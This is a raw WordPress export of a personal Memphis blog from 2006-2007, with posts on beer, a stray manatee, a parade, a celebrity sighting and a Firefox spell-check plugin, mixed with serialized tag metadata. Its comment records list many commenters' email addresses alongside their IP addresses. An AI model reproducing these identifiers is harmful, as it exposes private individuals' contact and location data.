    6 2006-10-01 14:17:22 2006-10-01 20:17:22 open open fuck-delta publish 0 0 post 0 _geo_location , _utw_tags_0 a:10:{i:0;O:8:"stdClass":1:{s:3:"tag";s:8:"airlines";}i:1;O:8:"stdClass":1:{s:3:"tag";s:15:"atlanta-airport";}i:2;O:8:"stdClass":1:{s:3:"tag";s:15:"duty-free-shops";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"fuckers";}i:4;O:8:"stdClass":1:{s:3:"tag";s:12:"grand-cayman";}i:5;O:8:"stdClass":1:{s:3:"tag";s:17:"homeland-security";}i:6;O:8:"stdClass":1:{s:3:"tag";s:11:"jack-daniel";}i:7;O:8:"stdClass":1:{s:3:"tag";s:5:"mandy";}i:8;O:8:"stdClass":1:{s:3:"tag";s:6:"pissed";}i:9;O:8:"stdClass":1:{s:3:"tag";s:17:"security-stickers";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 22 andrew@golden-media.com 66.77.150.242 2006-11-27 16:40:45 2006-11-27 22:40:45 1 0 0 85 mposgai@yahoo.com http://welcometomandyland.spaces.live.com/PersonalSpace.aspx?_c02_owner=1&_c= 74.229.184.85 2007-01-02 19:19:39 2007-01-03 01:19:39 1 0 0 6253 ycry1ycry1@yahoo.com 24.22.131.2 2008-07-09 20:58:20 2008-07-10 01:58:20 1 0 0 6456 amax@tulane.edu 24.99.79.52 2008-11-15 00:40:26 2008-11-15 06:40:26 1 0 0
    Oh, the humanity! http://ottodestruct.com/blog/2006/oh-the-humanity/ Thu, 05 Oct 2006 16:15:22 +0000 http://ottodestruct.com/blog/2006/10/05/oh-the-humanity/ Nooooooooooooooo!!!

    Beer drinkers beware: 4 percent of U.S. hops crop burns

    Seriously, I didn’t know that the US produced 24 percent of the world’s hops. It’s a damn shame. I hope it doesn’t hurt the brewers any. If it does, it’ll probably hit the microbrewers hardest, which would be the true tragedy.

    ]]>
    5 2006-10-05 10:15:22 2006-10-05 16:15:22 open open oh-the-humanity publish 0 0 post 0 _utw_tags_0 a:6:{i:0;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"brewers";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"cnn";}i:3;O:8:"stdClass":1:{s:3:"tag";s:4:"hops";}i:4;O:8:"stdClass":1:{s:3:"tag";s:12:"microbrewers";}i:5;O:8:"stdClass":1:{s:3:"tag";s:7:"tragedy";}} _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Manny the Manatee http://ottodestruct.com/blog/2006/manny-the-manatee/ Fri, 27 Oct 2006 18:22:29 +0000 http://ottodestruct.com/blog/2006/10/27/manny-the-manatee/ The news over the last week has been somewhat entertaining around downtown Memphis…

    It started out with a couple of fishermen seeing something on Monday in the Wolf River Harbor (slackwater harbor that’s connected to the Mississippi river here downtown). Turned out that it was a manatee.

    The TV stations even got it live on video.

    So officals cut off boat access to the harbor and called people in Florida to try to figure out WTF to do about it.

    On Tuesday, they became concerned about it being too cold for the manatee to survive. Activists got involved and got people from Sea World to come up and check it out.

    They got here Wednesday, and became concerned as well. So they decided to attempt a rescue on Thursday morning.

    Somewhere along the way, it picked up the rather lame name of “Manny”.

    But on Wednesday, the manatee became trapped between a couple of barges, and there was naturally concern all around. They ended up deciding to wait until Thursday anyway.

    Then Thursday rolls around, and they can’t find the damn thing.

    They tried again this morning, with no luck. Now here it is this afternoon, and they are searching lakes and such nearby, with no success. For four days this giant sucker has been rolling around the harbor, then gives them the slip right when they actually want to find him.

    Many of the above links have video links on the bottom left, if you want to watch the news reports.

    ]]>
    4 2006-10-27 12:22:29 2006-10-27 18:22:29 open open manny-the-manatee publish 0 0 post 0 _utw_tags_0 a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:9:"fishermen";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"manatee";}i:2;O:8:"stdClass":1:{s:3:"tag";s:17:"mississippi-river";}i:3;O:8:"stdClass":1:{s:3:"tag";s:10:"television";}i:4;O:8:"stdClass":1:{s:3:"tag";s:17:"wolf-river-harbor";}} _geo_location 35.142395,-90.055825 _utw_tags_ a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:9:"fishermen";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"manatee";}i:2;O:8:"stdClass":1:{s:3:"tag";s:17:"mississippi-river";}i:3;O:8:"stdClass":1:{s:3:"tag";s:10:"television";}i:4;O:8:"stdClass":1:{s:3:"tag";s:17:"wolf-river-harbor";}} enclosure http://www.wreg.com/Global/Video/WorldnowASX.asp?os=& 224 video/x-ms-asf _geo_converted wp_geo_mashup_locations.id = 2 btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Sorry for the downtime http://ottodestruct.com/blog/2006/sorry-for-the-downtime/ Fri, 17 Nov 2006 18:25:55 +0000 http://ottodestruct.com/blog/2006/11/17/sorry-for-the-downtime/ 34 2006-11-17 12:25:55 2006-11-17 18:25:55 open open sorry-for-the-downtime publish 0 0 post 0 _utw_tags_0 a:3:{i:0;O:8:"stdClass":1:{s:3:"tag";s:7:"godaddy";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"hosting";}i:2;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}} _utw_tags_ a:3:{i:0;O:8:"stdClass":1:{s:3:"tag";s:7:"godaddy";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"hosting";}i:2;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}} _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} 13 obes_au@hotmail.com 203.25.120.8 2006-11-19 17:02:25 2006-11-19 23:02:25 1 0 0 15 wes@rosenbergonline.net 198.140.183.1 2006-11-20 13:44:03 2006-11-20 19:44:03 1 0 0 14 otto@ottodestruct.com http:// 66.61.41.225 2006-11-20 02:55:31 2006-11-20 08:55:31 1 0 1 12 wab1966@gmx.de 84.56.85.80 2006-11-19 10:27:50 2006-11-19 16:27:50 1 0 0 35 mail@manuzhai.nl http://manuzhai.nl/weblog/ 194.151.162.57 2006-12-04 06:06:35 2006-12-04 12:06:35 1 0 0 36 otto@ottodestruct.com http:// 169.198.254.6 2006-12-04 14:52:09 2006-12-04 20:52:09 1 0 1 39 matt@mattmoore.ws http://www.tbotcotw.com/ 24.9.24.225 2006-12-06 08:49:27 2006-12-06 14:49:27 1 0 0 73 otto@ottodestruct.com http:// 66.61.41.225 2006-12-29 13:52:00 2006-12-29 19:52:00 1 0 1 67 Jaggojaggo@yahoo.com 85.250.166.68 2006-12-16 11:19:12 2006-12-16 17:19:12 1 0 0 LibertyBowl Parade http://ottodestruct.com/blog/2006/libertybowl-parade/ Fri, 29 Dec 2006 16:07:43 +0000 http://ottodestruct.com/blog/2006/12/29/libertybowl-parade/ Paul, who were having drinks and going off to the LibertyBowl parade on Beale. Now, I'm not one for sport much, but a parade should be worth seeing, I figured. Unfortunately, it was one of the more redneck parades I've ever seen. Okay, so there were a lot of fans cheering and shouting things like "game" and "cocks", but the parade itself was extremely weak. There were the required high school marching bands, and there were people on firetrucks and such, and A. C. Wharton riding around, and that was all cool, but the "floats" were just weak. AutoZone just stuck three big semi's with the logo on the side in the middle of the parade. FedEx tried even less and just had a standard delivery truck all by itself. Most of the "floats" were basically existing rides or very hastily decorated. It was about what I would expect a parade to look like if it was thrown together in, say, a week. Rather disappointing. However, I did see Semi-Charmed Kat on the Ride The Ducks truck, throwing out beads and moon pies. Unfortunately, I believe she was deaf at the time and so did not notice me and Paul screaming out "Kat" to get her attention. I got a couple of rather poor pictures from the parade on my new phone, so I'll post them later when I get near a Bluetooth enabled PC. Here's the shots I took using my new phone: ]]> 35 2006-12-29 10:07:43 2006-12-29 16:07:43 open open libertybowl-parade publish 0 0 post 0 _geo_location 35.140204,-90.05417 _utw_tags_ a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"beale";}i:1;O:8:"stdClass":1:{s:3:"tag";s:13:"flying-saucer";}i:2;O:8:"stdClass":1:{s:3:"tag";s:11:"libertybowl";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"parade";}i:4;O:8:"stdClass":1:{s:3:"tag";s:16:"semi-charmed-kat";}} _utw_tags_0 a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"beale";}i:1;O:8:"stdClass":1:{s:3:"tag";s:13:"flying-saucer";}i:2;O:8:"stdClass":1:{s:3:"tag";s:11:"libertybowl";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"parade";}i:4;O:8:"stdClass":1:{s:3:"tag";s:16:"semi-charmed-kat";}} _geo_converted wp_geo_mashup_locations.id = 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 103 michaelgazin@gmail.com http://www.innerlooping.com 24.175.21.247 2007-01-12 02:07:19 2007-01-12 08:07:19 1 0 0 77 tazzking@yahoo.com 24.33.27.181 2006-12-29 23:58:22 2006-12-30 05:58:22 1 0 0 New Years 2007 http://ottodestruct.com/blog/2007/new-years-2007/ Wed, 03 Jan 2007 23:04:16 +0000 http://ottodestruct.com/blog/2007/01/03/new-years-2007/
    New Years 2007 Photo Album

    New Years 2007

    On a plus note, I had a really good time and got really drunk. Started out the evening meeting everybody at Sleep Out Louie's, made it over to the Majestic for dinner, then made it back to SOL's for the final nightcap. You can get the complete story and better pictures over on Paul's blog. Quite a good evening all around.]]>
    37 2007-01-03 17:04:16 2007-01-03 23:04:16 open open new-years-2007 publish 0 0 post 0 _geo_location , _utw_tags_0 a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"camera";}i:1;O:8:"stdClass":1:{s:3:"tag";s:10:"champaigne";}i:2;O:8:"stdClass":1:{s:3:"tag";s:8:"Majestic";}i:3;O:8:"stdClass":1:{s:3:"tag";s:12:"mixed-drinks";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"night-shots";}i:5;O:8:"stdClass":1:{s:3:"tag";s:5:"phone";}i:6;O:8:"stdClass":1:{s:3:"tag";s:11:"photo-album";}i:7;O:8:"stdClass":1:{s:3:"tag";s:16:"sleep-out-louies";}} _utw_tags_ a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"camera";}i:1;O:8:"stdClass":1:{s:3:"tag";s:10:"champaigne";}i:2;O:8:"stdClass":1:{s:3:"tag";s:8:"Majestic";}i:3;O:8:"stdClass":1:{s:3:"tag";s:12:"mixed-drinks";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"night-shots";}i:5;O:8:"stdClass":1:{s:3:"tag";s:5:"phone";}i:6;O:8:"stdClass":1:{s:3:"tag";s:11:"photo-album";}i:7;O:8:"stdClass":1:{s:3:"tag";s:16:"sleep-out-louies";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 93 steve@worshipkeys.com http://www.theologicalmusingsblog.com 72.146.135.190 2007-01-05 23:46:53 2007-01-06 05:46:53 1 0 0
    Enable Firefox spell checking in Wordpress 2.1 http://ottodestruct.com/blog/2007/enable-firefox-spell-checking-in-wordpress-21/ Fri, 26 Jan 2007 06:44:01 +0000 http://ottodestruct.com/blog/2007/01/26/enable-firefox-spell-checking-in-wordpress-21/ Wordpress 2.1, but I noticed several complaints over on the Wordpress support forums about the fact that the Firefox inline spell checking seems to not be working with the new editor. I investigated, and it turns out to simply be one of the default settings of the version of TinyMCE that is being used. Even though it has a spell check button, some people prefer Firefox's automatic spell checking. I can understand that, I use it all the time myself. Fortunately, Wordpress includes hooks for changing those TinyMCE settings, so it was a matter of a few minutes to create a plugin to deal with the issue. Here's a plugin to do just that. It's simple to use, just upload to the plugins directory, then activate it in the Plugin panel. No configuration needed, it just turns the Firefox automatic spell checker back on in TinyMCE. Simple. Download FFSpell Enjoy!]]> 38 2007-01-26 00:44:01 2007-01-26 06:44:01 open open enable-firefox-spell-checking-in-wordpress-21 publish 0 0 post 0 _geo_location , _utw_tags_0 a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:3:"2.1";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"firefox";}i:2;O:8:"stdClass":1:{s:3:"tag";s:11:"spell-check";}i:3;O:8:"stdClass":1:{s:3:"tag";s:10:"spellcheck";}i:4;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 208 fantent@rumorsdaily.com http://http//www.fantent.com/ 68.50.250.131 2007-02-20 09:36:08 2007-02-20 15:36:08 1 0 0 136 jlink@english.umass.edu http://atomiclemur.com 70.56.68.4 2007-01-26 21:15:30 2007-01-27 03:15:30 1 0 0 163 cspanring@gmail.com http://spanring.eu/ 62.178.130.199 2007-02-06 00:51:51 2007-02-06 06:51:51 1 0 0 176 justin@tinfoilsoldier.com http://www.tinfoilsoldier.com/blog 129.21.144.146 2007-02-12 23:46:27 2007-02-13 05:46:27 1 0 0 156 cliff_lusk@hotmail.com http://www.thecrazysquirrel.net 76.186.251.82 2007-02-03 13:28:23 2007-02-03 19:28:23 1 0 0 177 http://tinfoilsoldier.com/blog/2007/02/13/best-wp-21-plugin-so-far/ 129.21.144.211 2007-02-12 23:49:49 2007-02-13 05:49:49 1 pingback 0 0 164 http://carrero.es/2007/02/07/modulos-wordpress-7-febrero/ 213.149.247.64 2007-02-07 01:31:35 2007-02-07 07:31:35 1 pingback 0 0 143 puntrunt@gmail.com http://www.techipedia.com 68.199.153.83 2007-01-28 11:41:10 2007-01-28 17:41:10 1 0 0 167 scott@happyinwater.com http://happyinwater.com/life 65.57.245.11 2007-02-08 15:36:31 2007-02-08 21:36:31 1 0 0 146 jenn@zeromuch.com http://zeromuch.com 70.100.71.219 2007-01-29 11:37:13 2007-01-29 17:37:13 1 0 0 435 http://www.firefoxhacker.com/2007/04/01/how-to-fix-firefox-spell-check-in-wordpress/ 69.89.20.51 2007-04-01 15:52:06 2007-04-01 20:52:06 1 pingback 0 0 460 http://aibolit.org.ua/?p=81 195.242.99.125 2007-04-05 13:09:39 2007-04-05 18:09:39 1 pingback 0 0 307 engtechnology@gmail.com http://engtech.wordpress.com 64.26.169.118 2007-03-14 16:09:26 2007-03-14 21:09:26 1 0 0 305 http://www.blogherald.com/2007/03/14/wordpress-wednesday-mandatory-update-reminder-wordcamp2007-instant-upgrade-plugin-sxsw-conference-and-more/ 67.15.64.54 2007-03-14 13:57:43 2007-03-14 18:57:43 1 pingback 0 0 306 http://weblogs.mozillazine.org/asa/archives/2007/03/wordpress_firef.html 140.211.166.9 2007-03-14 14:27:01 2007-03-14 19:27:01 wordpress firefox spellcheck I'm sure most of you have seen this, but for those of you who haven't, if you'd like to take advantage of Firefox 2's awesome built-in spellcheck service while still using the rich text formatting of WordPress, you can go get FFSpell, a nifty plugi...]]> 1 trackback 0 0 236 http://www.jasondunn.com/firefox-spell-check-wordpress-editor-solution-fix-258 70.86.212.2 2007-02-27 18:01:31 2007-02-28 00:01:31 1 pingback 0 0 301 http://jaypeeonline.net/?p=210 72.232.192.138 2007-03-13 19:27:16 2007-03-14 00:27:16 1 pingback 0 0 325 goteks88@aol.com 68.41.252.15 2007-03-18 12:35:45 2007-03-18 17:35:45 1 0 0 283 http://aboutdigital.ru/archives/471 62.149.14.31 2007-03-09 01:09:16 2007-03-09 07:09:16 1 pingback 0 0 285 http://blogtalks.net/how-to-fix-firefox-spell-checking-inside-wordpress-21.html 209.200.250.7 2007-03-09 07:30:24 2007-03-09 13:30:24 1 pingback 0 0 289 http://weblogtoolscollection.com/archives/2007/03/10/wordpress-plugin-releases-for-310/ 82.165.180.199 2007-03-09 22:51:42 2007-03-10 04:51:42 1 pingback 0 0 292 http://www.blogsfera.org/?p=20 208.97.183.13 2007-03-10 09:21:13 2007-03-10 15:21:13 1 pingback 0 0 293 konsultacijos@gmail.com http://creativeweb.lt 88.118.176.220 2007-03-10 10:29:20 2007-03-10 16:29:20 1 0 0 294 http://binarymoon.wordpress.com/2007/03/10/wordpress-firefox-spellcheck/ 72.232.101.26 2007-03-10 14:30:50 2007-03-10 20:30:50 1 pingback 0 0 348 http://www.riceri.se/2007/03/22/tillagg-jag-tycker-om/ 85.11.48.49 2007-03-22 04:33:39 2007-03-22 09:33:39 1 pingback 0 0 782 http://www.wp-plugins-db.org/plugin/firefox-spellcheck/ 64.13.192.15 2007-05-20 04:01:02 2007-05-20 09:01:02 1 pingback 0 0 1269 http://danawp.3wp.es/2007/07/11/dos-soluciones-ortograficas-para-wordpress/ 72.21.59.66 2007-07-11 09:18:10 2007-07-11 14:18:10 1 pingback 0 0 6137 cliff_lusk@hotmail.com http://www.thecrazysquirrel.net 76.186.251.82 2007-02-03 12:28:23 2007-02-03 17:28:23 1 0 0 6140 justin@tinfoilsoldier.com http://www.tinfoilsoldier.com/blog 129.21.144.146 2007-02-12 22:46:27 2007-02-13 03:46:27 1 0 0 6143 asa_dotzler__-_firefox_and_mor@anonymous.disqus.net http://weblogs.mozillazine.org/asa/archives/2007/03/wordpress_firef.html 140.211.166.9 2007-03-14 13:27:01 2007-03-14 18:27:01 wordpress firefox spellcheck

    I'm sure most of you have seen this, but for those of you who haven't, if you'd like to take advantage of Firefox 2's awesome built-in spellcheck service while still using the rich text formatting of WordPress, you can go get FFSpell, a nifty plugi...]]>
    1 0 0
    6277 a@a.hu 84.2.82.136 2008-09-28 01:43:24 2008-09-28 06:43:24 1 0 0
    Birthday fun and a Celebrity Sighting... http://ottodestruct.com/blog/2007/birthday-fun-and-a-celebrity-sighting/ Fri, 09 Feb 2007 19:28:30 +0000 http://ottodestruct.com/blog/2007/02/09/birthday-fun-and-a-celebrity-sighting/ Sleep Out Louie's last night to meet up with whatever people feel like showing up. I hang out there for about 4 hours before getting hungry. Rebecca was kind enough to bring me a bunch of cookies, which I totally was not expecting, but nevertheless, food was calling me. I suggested Sushi, Rebecca and Chad agreed, so we went over to Bluefin. I like Bluefin. It's a really neat place, what with that weird electric fusion type atmosphere. I kinda wish we'd snagged one of the couch areas, because those are cool IMO, but we sat up front, close to the sushi. We ordered a crapton of sushi and Frank got a flatbread pizza of some kind. All of a sudden, Chuck comes over to us and says "dude, that's Tommy Lee Jones". I have to have him repeat it, because at this point I'm thinking that I misheard him, being quite drunk like I am. And he says to me, "Tommy Lee Jones is at the back table having dinner." So I get up and walk to the bathroom, which involves passing within about 5 feet of that far back table, and sure enough, Tommy Lee Jones is sitting there with a couple of other people browsing the menu and having drinks. I'm not the kind of jerk who bothers people having dinner, so I wander back to my table and finish my meal. We wonder why he'd be in Memphis and such, but can't think of a reason. Later I hit the internet to discover that he's in town to film "In the Valley of Elah", but at the time, I just thought it was kinda neat. So we have a hell of a meal, I eat 2 rolls and a bunch of Nigiri, Chad ends up paying for it despite my protests (well, it was my birthday), and then we head over to the Peabody lounge for some end of evening drinks. On our way out of Bluefin I notice Tommy Lee Jones still sitting back there, annihilating what appeared to be a giant plate of sushi, although I might be mistaken on that. It was some distance away from me at the time, plus I had added Sapporo and some sake to my libations at this point. Anyway, we walk over to the Peabody, picking up Paul along the way. They make some really good coffees at the Peabody, which is why I like it as an evening ending place. Very laid back, some guy playing piano, sitting on the couches and enjoying an Irish Coffee. Nice. All in all, a good night, I'd say. Not the strangest birthday I've had, but one of the more laid back and entertaining ones.]]> 41 2007-02-09 13:28:30 2007-02-09 19:28:30 open open birthday-fun-and-a-celebrity-sighting publish 0 0 post 0 _utw_tags_0 a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:8:"birthday";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"bluefin";}i:2;O:8:"stdClass":1:{s:3:"tag";s:15:"flatbread-pizza";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"peabody";}i:4;O:8:"stdClass":1:{s:3:"tag";s:7:"sapporo";}i:5;O:8:"stdClass":1:{s:3:"tag";s:16:"sleep-out-louies";}i:6;O:8:"stdClass":1:{s:3:"tag";s:5:"sushi";}i:7;O:8:"stdClass":1:{s:3:"tag";s:15:"tommy-lee-jones";}} _utw_tags_ a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:8:"birthday";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"bluefin";}i:2;O:8:"stdClass":1:{s:3:"tag";s:15:"flatbread-pizza";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"peabody";}i:4;O:8:"stdClass":1:{s:3:"tag";s:7:"sapporo";}i:5;O:8:"stdClass":1:{s:3:"tag";s:16:"sleep-out-louies";}i:6;O:8:"stdClass":1:{s:3:"tag";s:5:"sushi";}i:7;O:8:"stdClass":1:{s:3:"tag";s:15:"tommy-lee-jones";}} _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} 179 beedy@beedy-blog.info http://www.beedy-blog.info 83.76.85.115 2007-02-13 08:27:53 2007-02-13 14:27:53 Nigiri. Happy Birthday, anyways :-)]]> 1 0 0 180 otto@ottodestruct.com http:// 169.198.254.6 2007-02-13 08:42:52 2007-02-13 14:42:52 1 0 1 202 noemail@please.com http://zigzo.com 216.15.4.93 2007-02-19 21:07:38 2007-02-20 03:07:38 1 0 0 225 tamaraglickman@gmail.com http://aviatrixingenue.spaces.live.com 72.189.176.13 2007-02-25 17:40:54 2007-02-25 23:40:54 1 0 0 Weekend madness http://ottodestruct.com/blog/2007/weekend-madness/ Fri, 02 Mar 2007 16:39:28 +0000 http://ottodestruct.com/blog/2007/03/02/weekend-madness/ Oscar party. It was a lot of fun and I drank a lot of Boulevard Wheat and had a really good time. I also got the worst score of anybody else in the Oscar pool (a whopping 2 correct answers! woot!), so that was good. :) The rest of the week I worked. A lot. It's been a vicious week. I put in almost 60 hours. This weekend is shaping up to be interesting though. Apparently , we're having a multi-brunch. There's the brunch at Texas de Brazil on Saturday, followed up by the Majestic on Sunday. And Saturday night, the trivia team is spending the winnings at the Flying Saucer, so it should be entertaining to see how much beer we can go through. On the whole, all this drinking is good training for St. Pats, which I'll be going to in T-minus 277 hours, 23 minutes. So that's nice.]]> 43 2007-03-02 10:39:28 2007-03-02 16:39:28 open open weekend-madness publish 0 0 post 0 _utw_tags_0 a:9:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"brunch";}i:1;O:8:"stdClass":1:{s:3:"tag";s:8:"downtown";}i:2;O:8:"stdClass":1:{s:3:"tag";s:13:"flying-saucer";}i:3;O:8:"stdClass":1:{s:3:"tag";s:8:"Majestic";}i:4;O:8:"stdClass":1:{s:3:"tag";s:7:"memphis";}i:5;O:8:"stdClass":1:{s:3:"tag";s:16:"sleep-out-louies";}i:6;O:8:"stdClass":1:{s:3:"tag";s:7:"st-pats";}i:7;O:8:"stdClass":1:{s:3:"tag";s:15:"texas-de-brazil";}i:8;O:8:"stdClass":1:{s:3:"tag";s:7:"weekend";}} _geo_location , _utw_tags_ a:9:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"brunch";}i:1;O:8:"stdClass":1:{s:3:"tag";s:8:"downtown";}i:2;O:8:"stdClass":1:{s:3:"tag";s:13:"flying-saucer";}i:3;O:8:"stdClass":1:{s:3:"tag";s:8:"Majestic";}i:4;O:8:"stdClass":1:{s:3:"tag";s:7:"memphis";}i:5;O:8:"stdClass":1:{s:3:"tag";s:16:"sleep-out-louies";}i:6;O:8:"stdClass":1:{s:3:"tag";s:7:"st-pats";}i:7;O:8:"stdClass":1:{s:3:"tag";s:15:"texas-de-brazil";}i:8;O:8:"stdClass":1:{s:3:"tag";s:7:"weekend";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Interesting weekend/life http://ottodestruct.com/blog/2007/interesting-weekendlife/ Mon, 05 Mar 2007 01:40:04 +0000 http://ottodestruct.com/blog/2007/03/04/interesting-weekendlife/ 44 2007-03-04 19:40:04 2007-03-05 01:40:04 open open interesting-weekendlife publish 0 0 post 0 _geo_location , _utw_tags_0 a:7:{i:0;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"drunk";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"fun";}i:3;O:8:"stdClass":1:{s:3:"tag";s:5:"happy";}i:4;O:8:"stdClass":1:{s:3:"tag";s:4:"life";}i:5;O:8:"stdClass":1:{s:3:"tag";s:7:"oysters";}i:6;O:8:"stdClass":1:{s:3:"tag";s:15:"texas-de-brazil";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 451 liquorfairy@gmail.com 146.214.103.87 2007-04-04 06:55:56 2007-04-04 11:55:56 1 0 0 On Notice http://ottodestruct.com/blog/2006/youre-on-notice/on-notice/ Fri, 09 Mar 2007 06:30:54 +0000 http://ottodestruct.com/blog/wp-content/uploads/2007/03/ottoonnotice.jpg 46 2007-03-09 00:30:54 2007-03-09 06:30:54 open open on-notice inherit 9 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2007/03/ottoonnotice.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2007/03/ottoonnotice.jpg _wp_attachment_metadata a:5:{s:5:"width";i:512;s:6:"height";i:384;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:80:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2007/03/ottoonnotice.jpg";s:5:"thumb";s:26:"ottoonnotice.thumbnail.jpg";} _utw_tags_0 no tags Blog by phone: Not so simple http://ottodestruct.com/blog/2007/blog-by-phone-not-so-simple/ Tue, 13 Mar 2007 18:38:38 +0000 http://ottodestruct.com/blog/2007/03/13/blog-by-phone-not-so-simple/ Postie for this sort of thing, but since I've switched to GoDaddy hosting, I've discovered that that method just don't work. The fault is, basically, GoDaddy's shared hosting plan and their insane method of supporting PHP. Ugh. I will not be renewing my hosting with them. I may switch hosts and attempt to get a refund on the remainder, actually. So I tried a few other tricks. XML-RPC works and I can post from my phone with it, however the clients I've put on the phone don't support pictures too well, or the phone doesn't support the clients too well, or some damn thing like that. I dunno yet. I tried to get a cable for my phone to let me hack it open a bit wider and allow that sort of thing to work, but finding one turns out to be difficult on short notice. Stores just don't have them. So I tried blogmailr. It's a service that combines the two.. You send email to it, it converts it into an XML-RPC post to your blog. That works too, but photos don't seem to survive the transition. I suspect this is a problem with blogmailr. All in all, it looks like I'll be unable to post photos of my trip this next week on a "live" basis. So just look forward to a gallery of images when I return instead. I'll have to sort out the live posting capabilities that I used to have sometime later. ]]> 51 2007-03-13 13:38:38 2007-03-13 18:38:38 open open blog-by-phone-not-so-simple publish 0 0 post 0 _utw_tags_0 a:4:{i:0;O:8:"stdClass":1:{s:3:"tag";s:9:"blogmailr";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"godaddy";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"postie";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"xml-rpc";}} _geo_location , _utw_tags_ a:4:{i:0;O:8:"stdClass":1:{s:3:"tag";s:9:"blogmailr";}i:1;O:8:"stdClass":1:{s:3:"tag";s:7:"godaddy";}i:2;O:8:"stdClass":1:{s:3:"tag";s:6:"postie";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"xml-rpc";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 388 patdoran3@gmail.com http://music4now.com/splog 204.1.130.5 2007-03-26 13:30:30 2007-03-26 18:30:30 1 0 0 316 crompton@gmail.com http://www.contentspooling.net 129.33.49.251 2007-03-16 11:38:03 2007-03-16 16:38:03 1 0 0 342 vinodis@gmail.com http://www.vinodlive.com 158.234.9.13 2007-03-21 07:32:16 2007-03-21 12:32:16 1 0 0 343 otto@ottodestruct.com http:// 169.198.254.6 2007-03-21 10:09:25 2007-03-21 15:09:25 1 0 1 709 ivan@luna.nl http://www.creatief.nltestsite 24.132.17.47 2007-05-13 14:42:04 2007-05-13 19:42:04 1 0 0 710 ivan@luna.nl http://www.creatief.nltestsite 24.132.17.47 2007-05-13 14:42:33 2007-05-13 19:42:33 1 0 0 6203 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-03-21 09:09:25 2007-03-21 14:09:25
    I don't want to upload photos to Flickr.
    I freakin' hate Flickr.
    I won't even look at photos that people send me links to because they're on Flickr.

    Flickr sucks.]]>
    1 0 0
    Post-vacation weariness http://ottodestruct.com/blog/2007/post-vacation-weariness/ Wed, 28 Mar 2007 21:36:48 +0000 http://ottodestruct.com/blog/2007/03/28/post-vacation-weariness/
    Beer Tasting
    Last week, Mike and Paola had a beer tasting party. It was a hell of a good time, and I'd like to thank them for having it. I look forward to brewing a bunch of new beers up for the next one. They posted some pictures, which I shamelessly stole and stuck into my own web album because this lets me keep things in one place. On Sunday, we were having brunch at the Majestic, when Mikey gets a call, walks outside, and comes back with a plastic light-up Spuds MacKensie. Naturally, we had to take him on a tour of the town before returning him to his rightful owners. Mikey has more pictures than I do, these were taken using my cell phone, which I'm getting better at using nowadays. So that was last weekend. I missed Trivia night at the Saucer last night, because a) I was really tired, but mainly because b) I was actually unconscious on the couch at the time. I'll be there next week though. :) On the plus side, I received my cell phone gear from Cingular, including a data cable (pictured to the right), which I used to modify my phone. See, the LG CU500 I have now is a 3G phone, and thus capable of good data reception. Google Maps Mobile is extremely cool, for example. However, Cingular annoyingly broke this functionality when they released the phone. After installing any "unapproved" Java application onto the thing, it asks for approval every single time it connects to the damn network, while you're using that application. With Google Maps, this makes it damn near unusable. But those clever people over at howardforums.com figured out a way to bypass this. So with the cable and a piece of software called BitPim, I was able to modify the phone to stop asking me those stupid questions. Suddenly Google Maps Mobile and GMail Mobile are the greatest things ever. :) St. Pats pics up soon. :)]]>
